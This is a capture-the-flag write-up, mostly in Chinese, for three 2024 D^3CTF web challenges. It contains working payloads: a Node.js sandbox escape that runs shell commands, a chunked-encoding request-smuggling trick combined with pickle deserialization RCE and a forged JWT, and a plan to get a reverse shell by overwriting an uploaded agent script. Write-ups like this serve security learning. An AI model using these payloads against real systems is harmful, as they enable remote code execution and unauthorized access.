2024 D^3CTF WriteUp
2024-04-28 Write Up

stack_overflow

{"stdin":["0');this.constructor.constructor('return process.mainModule.require(\\'child_process\\').execSync(\\'cat /flag\\').toString();')();//"]}

d3pythonhttp

python 前端使用 flask 框架 ,后端使用 web.py 框架,实际上是利用前后端不同框架对 HTTP 请求的解析和处理不一致

对于后端 web.py:

class backdoor:
    def POST(self):
        data = web.data()
        # fix this backdoor
        if b"BackdoorPasswordOnlyForAdmin" in data:
            return "You are an admin!"
        else:
            data  = base64.b64decode(data)
            pickle.loads(data)
            return "Done!"

后端 web.data() 处的解析为:

def data():
    """Returns the data sent with the request."""
    if "data" not in ctx:
        if ctx.env.get("HTTP_TRANSFER_ENCODING") == "chunked":
            ctx.data = ctx.env["wsgi.input"].read()
        else:
            cl = intget(ctx.env.get("CONTENT_LENGTH"), 0)
            ctx.data = ctx.env["wsgi.input"].read(cl)
    return ctx.data

其直接取出 HTTP_TRANSFER_ENCODING 字段与 chunked 进行比较

而前端 flask 处

if headers.get("Transfer-Encoding", "").lower() == "chunked":
    data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
if "BackdoorPasswordOnlyForAdmin" not in data:
    return "You are not an admin!"
conn.request(method, "/backdoor", body=data, headers=headers)
return "Done!"

使用 Transfer-Encoding 的 lower() 形式与 chunked 进行比较,此处产生了前后端差异

故可以构造 payload Transfer-Encoding: Chunked 使得请求包在前端 flask 处被解析为分块形式,而在后端 web.py 处被不被解析为分块形式

在绕过后端后门判定后即可使用常规 Pickle 反序列化来 RCE

class R(object): 
    def __reduce__(self): 
        return (exec, ('index.GET=(lambda x: __import__("os").popen("cat /Secr3T_Flag").read());', )) 

payload = base64.b64encode(pickle.dumps(R()))

注意此处由于靶机环境不出网,可以通过将 exec 替换 index.GET 来使用路由回显

Payload:

POST /admin HTTP/1.1 
Host: python-backend:8080 
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ii4uL3Byb2Mvc3lzL2tlcm5lbC9vc3R5cGUifQ.eyJ1c2VybmFtZSI6ImEiLCJpc2FkbWluIjp0cnVlfQ.QNAZtiSeedmA7mnPacjjkjBlf3gb5QXXjEy-9USsYAQ 
Transfer-Encoding: Chunked 
Content-Length: {len(payload)} 

{hex(len(payload))[2:]} 
{payload.decode()} 
1c 
BackdoorPasswordOnlyForAdmin 
0

moonbox

根据这段代码

RUN apt-get install -y openssh-server
RUN echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
RUN echo "root:123456" | chpasswd

发现靶机使用了 root 弱密码并开启了 ssh 登录

对 moon-box-web jar 包 进行分析:
com.vivo.internet.moonbox.web/console/AgentController.java

package com.vivo.internet.moonbox.web.console;  
  
import com.vivo.internet.moonbox.common.api.dto.MoonBoxResult;  
import com.vivo.internet.moonbox.service.console.ConsoleAgentService;  
import com.vivo.internet.moonbox.service.console.vo.ActiveHostInfoVo;  
import com.vivo.internet.moonbox.service.console.vo.AgentDetailVo;  
import java.util.List;  
import javax.annotation.Resource;  
import org.springframework.web.bind.annotation.GetMapping;  
import org.springframework.web.bind.annotation.PostMapping;  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.bind.annotation.RequestParam;  
import org.springframework.web.bind.annotation.RestController;  
import org.springframework.web.multipart.MultipartFile;  
  
@RequestMapping({"/api/console-agent"})  
@RestController  
public class AgentController {  
  @Resource  
  private ConsoleAgentService consoleAgentService;  
    
  @PostMapping({"fileUpload"})  
  public MoonBoxResult<Void> uploadFile(@RequestParam("file") MultipartFile file, @RequestParam("fileName") String fileName) throws Exception {  
    this.consoleAgentService.uploadAgentFile(file, fileName);  
    return MoonBoxResult.createSuccess(null);  
  }  
    
  @GetMapping({"fileLists"})  
  public MoonBoxResult<List<AgentDetailVo>> getFileList() {  
    return MoonBoxResult.createSuccess(this.consoleAgentService.getFileList());  
  }  
    
  @GetMapping({"agentActiveHost"})  
  public MoonBoxResult<List<ActiveHostInfoVo>> agentActiveHost(@RequestParam("taskRunId") String taskRunId) {  
    return MoonBoxResult.createSuccess(this.consoleAgentService.getActiveHostByTaskRunId(taskRunId));  
  }  
}

可以通过 /api/console-agent/fileUpload 路由上传文件

寻找可用调用链

com/vivo/internet/moonbox/web/console/RecordRunController.class#run =>
com/vivo/internet/moonbox/service/console/impl/AbstractTaskRunService.class#taskRun =>
com/vivo/internet/moonbox/service/console/impl/AgentDistributionServiceImpl.class#startAgent =>
com/vivo/internet/moonbox/service/console/impl/AgentDistributionServiceImpl.class#startServerAgent =>
com/vivo/internet/moonbox/service/console/util/AgentUtil.class#getRemoteAgentStartCommand

getRemoteAgentStartCommand

public static String getRemoteAgentStartCommand(String sandboxDownLoadUrl, String moonboxDownLoadUrl, String appName, String taskConfig) {
    String downLoadCommand = "curl -o sandboxDownLoad.tar " + sandboxDownLoadUrl + " && curl -o moonboxDownLoad.tar " + moonboxDownLoadUrl;
    String startAgentCommand = " && sh ~/.sandbox-module/bin/start-remote-agent.sh " + appName + " " + taskConfig;
    return downLoadCommand + " && rm -fr ~/sandbox && rm -fr ~/.sandbox-module &&  tar  -xzf sandboxDownLoad.tar -C ~/ >> /dev/null && tar  -xzf moonboxDownLoad.tar -C ~/ >> /dev/null && dos2unix ~/sandbox/bin/sandbox.sh && dos2unix ~/.sandbox-module/bin/start-remote-agent.sh && rm -f moonboxDownLoad.tar sandboxDownLoad.tar" + startAgentCommand;
}

由于 tar 包是可控的,可以通过覆盖 start-remote-agent.sh 来连接本机 ssh 来反弹 shell 实现 RCE